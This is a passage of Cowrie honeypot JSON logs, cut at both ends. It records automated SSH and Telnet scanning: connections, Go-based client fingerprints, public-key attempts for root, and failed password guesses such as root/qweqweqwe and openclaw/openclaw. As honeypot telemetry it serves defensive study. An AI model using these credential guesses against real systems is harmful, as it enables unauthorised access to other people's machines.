mac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:23.817602Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45556,"dst_ip":"159.203.135.109","dst_port":22,"session":"16063c6f55d8","protocol":"ssh","message":"New connection: 192.109.200.237:45556 (159.203.135.109:22) [session: 16063c6f55d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:24.740284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:24.785924Z","src_ip":"192.109.200.237","session":"16063c6f55d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:24.868227Z","src_ip":"192.109.200.237","session":"16063c6f55d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:bb:c9:25:64:50:19:fc:bc:d9:7d:fc:aa:03:f5:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwMtGrPcLGHb91Ut91eh5jnNd+n9C5WpSLRFMIx18RCRt7QPtthkC2URCuAFY+NIc1R5m7kpWrRS35RFMKvb1eBiPV0uRZ2jcwehcd67GRpWld81jY2LqaQs3fo525Cd+nBURJozvnm1LPZ1VoPwXrrNiX9BvIb2X2bbbuugUofTVMAhuLjrmR5Abq/nVdU80f9Y26s+Vz4s+TjL34r+2fbJnFi+C1BtnEBDHKCid+89XPbtyDq3IhsZUyL7Hw5dfMlbdprvYw+3Wsn/A388n2/iRlNcNYxLvo1sgG/q8qhm/Umol2uDp/45BwCvODvi5vS+Cyk8vQIgzSiJjeeqJd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:bb:c9:25:64:50:19:fc:bc:d9:7d:fc:aa:03:f5:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:25.029102Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:bb:c9:25:64:50:19:fc:bc:d9:7d:fc:aa:03:f5:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwMtGrPcLGHb91Ut91eh5jnNd+n9C5WpSLRFMIx18RCRt7QPtthkC2URCuAFY+NIc1R5m7kpWrRS35RFMKvb1eBiPV0uRZ2jcwehcd67GRpWld81jY2LqaQs3fo525Cd+nBURJozvnm1LPZ1VoPwXrrNiX9BvIb2X2bbbuugUofTVMAhuLjrmR5Abq/nVdU80f9Y26s+Vz4s+TjL34r+2fbJnFi+C1BtnEBDHKCid+89XPbtyDq3IhsZUyL7Hw5dfMlbdprvYw+3Wsn/A388n2/iRlNcNYxLvo1sgG/q8qhm/Umol2uDp/45BwCvODvi5vS+Cyk8vQIgzSiJjeeqJd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:25.034305Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:25.121385Z","src_ip":"192.109.200.237","session":"16063c6f55d8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:91:55:bc:25:a5:f7:b8:71:e2:32:75:89:f7:24:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIwvPtP+BTiM8Y6T94CdsV0bIINc1f1SfZhqYtAyDti5VvgFtKk11U3qj6++9a1Sx/vAYV7yljcZamh4xm5fsdD5jaiEWLo/8kPa3nOgaucmjXreHPsfiCAZJNRxVtQ5x3/DCkMtK1zlAETZ0jcaxIbZsI+Rrm3+3fBmhnglRCG2u+HzGy/3Oa8ChZUG0eTfaem6uT0+dmUkqsQBQdNF+i7rrVlO3+g4sMcTaUmVZyOEytMr1xRMi5Z/dvEtx2bCwO3+EIEpu10BQ/2mwtVx7pXAo8rs42w+pckHRTPcmWY+EcldcYlCQ6XsWpBBV/m93PE57EFTEjowKs7ZngaPj5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:91:55:bc:25:a5:f7:b8:71:e2:32:75:89:f7:24:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:25.278537Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:91:55:bc:25:a5:f7:b8:71:e2:32:75:89:f7:24:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIwvPtP+BTiM8Y6T94CdsV0bIINc1f1SfZhqYtAyDti5VvgFtKk11U3qj6++9a1Sx/vAYV7yljcZamh4xm5fsdD5jaiEWLo/8kPa3nOgaucmjXreHPsfiCAZJNRxVtQ5x3/DCkMtK1zlAETZ0jcaxIbZsI+Rrm3+3fBmhnglRCG2u+HzGy/3Oa8ChZUG0eTfaem6uT0+dmUkqsQBQdNF+i7rrVlO3+g4sMcTaUmVZyOEytMr1xRMi5Z/dvEtx2bCwO3+EIEpu10BQ/2mwtVx7pXAo8rs42w+pckHRTPcmWY+EcldcYlCQ6XsWpBBV/m93PE57EFTEjowKs7ZngaPj5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:25.282872Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:f4:47:ae:55:c8:b1:c0:17:88:47:44:a1:95:03:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFvu2RpAN8OSDb+b/Z+29StYlXN5bWpBIeTwxxTc/Rp0N0AU2ExT5PBWIhmrwsERO69A0/EXJqCtCugVFqm2dzDWUo/RnbTx1RJSVbjsxGCtJgJngUOTg3s3C0xAIqW8b1CNqb68GdzeXxfBcNx2c9IrAYp5k/2C7f7W+ALgHxWprn5iARUW9w7Q5br68oLxCXbFQwX+Li17AQoh1rt+hh3AmhTp4P0XzzrY8eiqDHgkPD95wHssVFZ412Ef8yzx1JE4OdMNzc2dSGB1j8xDixmULJH0a2Ec+Ql9i1sw7KGAa5UTVoxlKpAwCRLiCSeu8bL7G0CrCl6msGcu7Ci/OL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:f4:47:ae:55:c8:b1:c0:17:88:47:44:a1:95:03:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:25.526479Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:f4:47:ae:55:c8:b1:c0:17:88:47:44:a1:95:03:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFvu2RpAN8OSDb+b/Z+29StYlXN5bWpBIeTwxxTc/Rp0N0AU2ExT5PBWIhmrwsERO69A0/EXJqCtCugVFqm2dzDWUo/RnbTx1RJSVbjsxGCtJgJngUOTg3s3C0xAIqW8b1CNqb68GdzeXxfBcNx2c9IrAYp5k/2C7f7W+ALgHxWprn5iARUW9w7Q5br68oLxCXbFQwX+Li17AQoh1rt+hh3AmhTp4P0XzzrY8eiqDHgkPD95wHssVFZ412Ef8yzx1JE4OdMNzc2dSGB1j8xDixmULJH0a2Ec+Ql9i1sw7KGAa5UTVoxlKpAwCRLiCSeu8bL7G0CrCl6msGcu7Ci/OL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:25.531220Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:60:06:b2:11:76:a7:09:2c:87:f7:71:7b:4d:92:e3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMRj73tyZk76cqeDugdMNRDDkpuDHmgQmg9SUxrtUDqH","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5f:60:06:b2:11:76:a7:09:2c:87:f7:71:7b:4d:92:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:25.778708Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:60:06:b2:11:76:a7:09:2c:87:f7:71:7b:4d:92:e3","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMRj73tyZk76cqeDugdMNRDDkpuDHmgQmg9SUxrtUDqH","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:25.782579Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:ca:27:f4:c1:60:59:bf:2a:f4:1c:2f:4f:29:bd:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCk/WEemdGAg7CqCVKnLgMBbSFNh7vakZ92YVWrjd18zxJV+aZtcIy7YsL2zHNmE1rLUI5/6cr2QRPEX4SsDSqBYb/8EHMk86vOEbYMqmgBBZF46YaeJvrqovxZOtUYZlpkqPNDvrW5OPsiY4X/b0WY4Zzexs8+V0Oy6xAAXzXVllpkzVfEVJ/oqj+S8LnoQgMTjhTOrt60Aie/704PJolPCqa3LkCcV+oeLCq8UqD/5KJURnBWQMYuK1IhWOAOPdYJ1YNWEkA8CoYpwQ5I5KLr0m9APKW0ZFsi43KCB+LF2nE7k6hCJflG/ViG3zaaJV9reCZK8s8VqvdLmcb0g01Bj51kbziHjHT9LzFi32O3uQOaJVzi23bI7JOWrFtKZNG+GhZI4xzaoMlNdcNIh7WRcAZT2wejWw+v5ADDqeU2F0MmIkhcNP66GcDFl5BtXA7ThRzkB0gO23+8+oS91/4KvB1NdsfRnQgUbLqOwzhbO+zojkpRl50uUIBo9CZi3einInx0bQ6n3v+bfG3M3RJWWtNz68Gl2jOH8kK6+YQBtfOd7J86kFBi5B9UaElunH7DSh7w+aUAXAzojZdKfnvSiX+TGozb+r2Fv4QZgVguo9lGXfgBpm5F8o7DGa+7qNUD9Wl7/g56zMZWovpnQaf8xrEyhUjtPckTR11sfGFjzw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:ca:27:f4:c1:60:59:bf:2a:f4:1c:2f:4f:29:bd:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:26.026159Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:ca:27:f4:c1:60:59:bf:2a:f4:1c:2f:4f:29:bd:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCk/WEemdGAg7CqCVKnLgMBbSFNh7vakZ92YVWrjd18zxJV+aZtcIy7YsL2zHNmE1rLUI5/6cr2QRPEX4SsDSqBYb/8EHMk86vOEbYMqmgBBZF46YaeJvrqovxZOtUYZlpkqPNDvrW5OPsiY4X/b0WY4Zzexs8+V0Oy6xAAXzXVllpkzVfEVJ/oqj+S8LnoQgMTjhTOrt60Aie/704PJolPCqa3LkCcV+oeLCq8UqD/5KJURnBWQMYuK1IhWOAOPdYJ1YNWEkA8CoYpwQ5I5KLr0m9APKW0ZFsi43KCB+LF2nE7k6hCJflG/ViG3zaaJV9reCZK8s8VqvdLmcb0g01Bj51kbziHjHT9LzFi32O3uQOaJVzi23bI7JOWrFtKZNG+GhZI4xzaoMlNdcNIh7WRcAZT2wejWw+v5ADDqeU2F0MmIkhcNP66GcDFl5BtXA7ThRzkB0gO23+8+oS91/4KvB1NdsfRnQgUbLqOwzhbO+zojkpRl50uUIBo9CZi3einInx0bQ6n3v+bfG3M3RJWWtNz68Gl2jOH8kK6+YQBtfOd7J86kFBi5B9UaElunH7DSh7w+aUAXAzojZdKfnvSiX+TGozb+r2Fv4QZgVguo9lGXfgBpm5F8o7DGa+7qNUD9Wl7/g56zMZWovpnQaf8xrEyhUjtPckTR11sfGFjzw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:26.030284Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:26.206017Z","src_ip":"192.109.200.237","session":"16063c6f55d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:26.274806Z","src_ip":"36.50.40.252","session":"e10b61f7b21f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45578,"dst_ip":"10.17.0.5","dst_port":23,"session":"00fd6f37d7b8","protocol":"telnet","message":"New connection: 152.42.224.71:45578 (10.17.0.5:23) [session: 00fd6f37d7b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:27.765767Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45562,"dst_ip":"159.203.135.109","dst_port":22,"session":"554b48ffe7ce","protocol":"ssh","message":"New connection: 192.109.200.237:45562 (159.203.135.109:22) [session: 554b48ffe7ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:28.362300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:28.366432Z","src_ip":"192.109.200.237","session":"554b48ffe7ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:28.447368Z","src_ip":"192.109.200.237","session":"554b48ffe7ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:28.690654Z","src_ip":"192.109.200.237","session":"554b48ffe7ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:29.837233Z","src_ip":"192.109.200.237","session":"554b48ffe7ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44090,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d1a1e5d71d3","protocol":"ssh","message":"New connection: 192.109.200.237:44090 (159.203.135.109:22) [session: 6d1a1e5d71d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:31.895215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:31.900339Z","src_ip":"192.109.200.237","session":"6d1a1e5d71d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:31.983099Z","src_ip":"192.109.200.237","session":"6d1a1e5d71d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:32.351702Z","src_ip":"192.109.200.237","session":"6d1a1e5d71d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:33.437771Z","src_ip":"192.109.200.237","session":"6d1a1e5d71d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":42578,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dbfebf7cbc3","protocol":"ssh","message":"New connection: 103.75.182.198:42578 (159.203.135.109:22) [session: 8dbfebf7cbc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:34.073180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:34.078044Z","src_ip":"103.75.182.198","session":"8dbfebf7cbc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45588,"dst_ip":"10.17.0.5","dst_port":23,"session":"48becda0400c","protocol":"telnet","message":"New connection: 152.42.224.71:45588 (10.17.0.5:23) [session: 48becda0400c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:34.284111Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:34.325078Z","src_ip":"103.75.182.198","session":"8dbfebf7cbc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqweqwe","message":"login attempt [root/qweqweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:35.070615Z","src_ip":"103.75.182.198","session":"8dbfebf7cbc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44102,"dst_ip":"159.203.135.109","dst_port":22,"session":"aad0e9dde5ea","protocol":"ssh","message":"New connection: 192.109.200.237:44102 (159.203.135.109:22) [session: aad0e9dde5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:35.491287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:16:35.496595Z","src_ip":"192.109.200.237","session":"aad0e9dde5ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa